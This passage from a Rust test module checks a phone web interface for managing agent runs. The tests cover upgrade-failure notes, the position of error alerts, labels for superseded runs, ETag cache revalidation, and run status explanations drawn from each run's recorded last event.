6983        // reported as one.
6984        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
6985        assert!(APP_JS.contains("reconnects on its own"));
6986    }
6987
6988    #[test]
6989    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
6990        // `Stage::Failed` is terminal on the server and nothing clears it on
6991        // its own - not a fresh start, not time passing - so a full-strip
6992        // takeover for it (the way the busy stages take the strip over,
6993        // correctly, because those are transient) would have hidden
6994        // start/stop/park behind an upgrade notice with no way back short of
6995        // a person editing `upgrade.json` by hand or a later release
6996        // happening to succeed. The failure must instead ride along as a note
6997        // next to whatever control the loop's own state already offers.
6998        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
6999            ..APP_JS.find("function upgrade(").expect("upgrade")];
7000        assert!(
7001            !body.contains(
7002                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
7003            ),
7004            "a failed upgrade must not take the whole strip over the way it used to"
7005        );
7006        assert!(
7007            body.contains("upgradeFailNote"),
7008            "the failure has to reach the loop's own note instead"
7009        );
7010        // `quiet` and `control` are the only two places `loop-why` is set from
7011        // this function's own state; both must carry the note through, or a
7012        // future edit to either one would silently drop it again.
7013        assert_eq!(
7014            body.matches("upgradeFailNote].filter(Boolean).join")
7015                .count(),
7016            2,
7017            "both loop-why writers (quiet and control) must fold the note in"
7018        );
7019    }
7020
7021    #[test]
7022    fn an_overdue_upgrade_eventually_asks_for_a_human() {
7023        // The ceiling has to clear a full hour-long park with room to spare,
7024        // or an ordinary implement wave would be reported as a stuck upgrade.
7025        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
7026        assert!(APP_JS.contains("function upgradeOverdue("));
7027    }
7028
7029    #[test]
7030    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
7031        assert!(
7032            APP_JS.contains("Updated to ${upgradeInfo.to"),
7033            "the operator who asked for the restart wants to know it worked"
7034        );
7035    }
7036
7037    #[test]
7038    fn an_error_is_visible_from_where_the_button_is() {
7039        // The alert used to sit in the flow under the header. On a phone
7040        // scrolled 13 500 px down to a run's action sheet that is off screen,
7041        // so tapping Resume and being told "the loop is running run b455
7042        // right now" looked exactly like a button that did nothing.
7043        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
7044            ..APP_CSS.find(".alert-text").expect(".alert-text")];
7045        assert!(
7046            alert.contains("position: fixed"),
7047            "an error about the thing under your thumb has to be visible from \
7048             where your thumb is: {alert}"
7049        );
7050        assert!(
7051            alert.contains("z-index: 25"),
7052            "above the dock (20) and the run-actions FAB (15), so neither \
7053             buries it: {alert}"
7054        );
7055        assert!(
7056            alert.contains("var(--tap)"),
7057            "and clear of the dock and the home indicator: {alert}"
7058        );
7059        // The FAB sits at the same height on the right. An error that covered
7060        // it would hide the button the operator reaches for next.
7061        assert!(
7062            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
7063            "the FAB's column stays free: {alert}"
7064        );
7065    }
7066
7067    #[tokio::test]
7068    async fn an_older_attempt_says_what_replaced_it() {
7069        let fx = Fixture::start().await;
7070        let q = fx.queue();
7071        let runs = fx.runs();
7072        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
7073        write_run(&runs, first, RunStatus::Stalled);
7074        write_run(&runs, second, RunStatus::Blocked);
7075
7076        let mut t = Task::new(
7077            "one task".to_owned(),
7078            "do it".to_owned(),
7079            PathBuf::from("/repo"),
7080            Source::Human,
7081        );
7082        t.runs = vec![first.to_owned(), second.to_owned()];
7083        q.put(&mut t).expect("put");
7084
7085        // Two cards with the same title and no hint which is which was the
7086        // question: "why are there two of the same, one stalled and one
7087        // blocked?" The older one now names its replacement.
7088        let rows = fx.get("/api/runs").await.json();
7089        let by = |short: &str| -> Value {
7090            rows.as_array()
7091                .unwrap()
7092                .iter()
7093                .find(|r| r["short"] == short)
7094                .cloned()
7095                .unwrap_or(Value::Null)
7096        };
7097        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
7098        assert!(
7099            by("bbbb")["superseded_by"].is_null(),
7100            "the latest attempt is not superseded by anything"
7101        );
7102        // Front end: the note has to be rendered, not just carried.
7103        assert!(APP_JS.contains("run.superseded_by"));
7104        assert!(APP_JS.contains("Superseded by"));
7105    }
7106
7107    #[tokio::test]
7108    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
7109        let fx = Fixture::start().await;
7110        // No cache header at all meant browsers invented their own policy,
7111        // and one did: a phone went on showing "Candidates must be folded
7112        // before deleting. Run `magi fold` first." - deleted two releases
7113        // earlier - from a deck that no longer contained the sentence. The
7114        // button it named was right there, and unreachable.
7115        let js = fx.get("/app.js").await;
7116        assert_eq!(js.status, 200);
7117        let tag = js
7118            .header("etag")
7119            .expect("an etag to revalidate against")
7120            .to_owned();
7121        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
7122        assert_eq!(
7123            js.header("cache-control"),
7124            Some("no-cache, must-revalidate"),
7125            "the phone has to ask every time"
7126        );
7127
7128        // And the asking has to be cheap, or `must-revalidate` just means
7129        // "send the whole interface on every load".
7130        let again = fx
7131            .get_with("/app.js", &[("if-none-match", tag.as_str())])
7132            .await;
7133        assert_eq!(
7134            again.status, 304,
7135            "a deck it already has costs one round trip"
7136        );
7137        assert!(again.body.is_empty(), "304 carries no body");
7138
7139        // A weakened tag from a proxy still matches; a different build does
7140        // not, which is the case that has to deliver the new interface.
7141        let weak = fx
7142            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
7143            .await;
7144        assert_eq!(weak.status, 304);
7145        let stale = fx
7146            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
7147            .await;
7148        assert_eq!(stale.status, 200, "an older build must be replaced");
7149        assert!(stale.body.contains("renderRunActions"));
7150    }
7151
7152    #[test]
7153    fn the_deck_never_sends_the_operator_to_a_terminal() {
7154        // The whole point of the phone UI is that a terminal is not needed.
7155        // The delete control used to answer with "Run `magi fold` first."
7156        assert!(
7157            !APP_JS.contains("Run `magi fold` first"),
7158            "the deck must offer the fold, not prescribe a shell command"
7159        );
7160        assert!(APP_JS.contains("foldRun:"));
7161        assert!(APP_JS.contains("resumeRun:"));
7162        assert!(APP_JS.contains("renderRunActions"));
7163
7164        // Folding is destructive and armed in two steps, like deleting.
7165        assert!(APP_JS.contains("armedFold"));
7166        assert!(APP_JS.contains("Yes, fold worktrees"));
7167
7168        // And the copy has to say that the two actions are opposites, because
7169        // folding throws away exactly what a resume would continue from.
7170        assert!(APP_JS.contains("can no longer be resumed"));
7171    }
7172
7173    #[test]
7174    fn a_finished_run_explains_itself_with_its_own_last_line() {
7175        // The deck used to answer "why did this stop?" with a sentence chosen
7176        // by status alone. Run e633 stalled because two judges answered with
7177        // the wrong JSON shape and its card said "The panel collapsed on
7178        // agent quota" - with `quota: []` in the record and a quota-loss
7179        // counter right above it that correctly said nothing.
7180        assert!(
7181            !APP_JS.contains("collapsed on agent quota"),
7182            "a stall must not be explained by a cause the deck did not check"
7183        );
7184        assert!(
7185            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
7186            "and a block must not offer a guess with an `or` in it"
7187        );
7188
7189        // The reason it does have is `run.event`, which must reach finished
7190        // runs: gating it on movement hid the recorded truth at the one moment
7191        // the operator is reading the card to find out what happened.
7192        assert!(
7193            APP_JS.contains("setText(r.event, run.event || \"\")"),
7194            "the run's last line is rendered unconditionally"
7195        );
7196        assert!(
7197            !APP_JS.contains("moving && run.event"),
7198            "and never gated on the run still moving"
7199        );
7200
7201        // Quota keeps its own counter, fed by the number actually recorded.
7202        assert!(APP_JS.contains("lost to quota"));
7203    }
7204}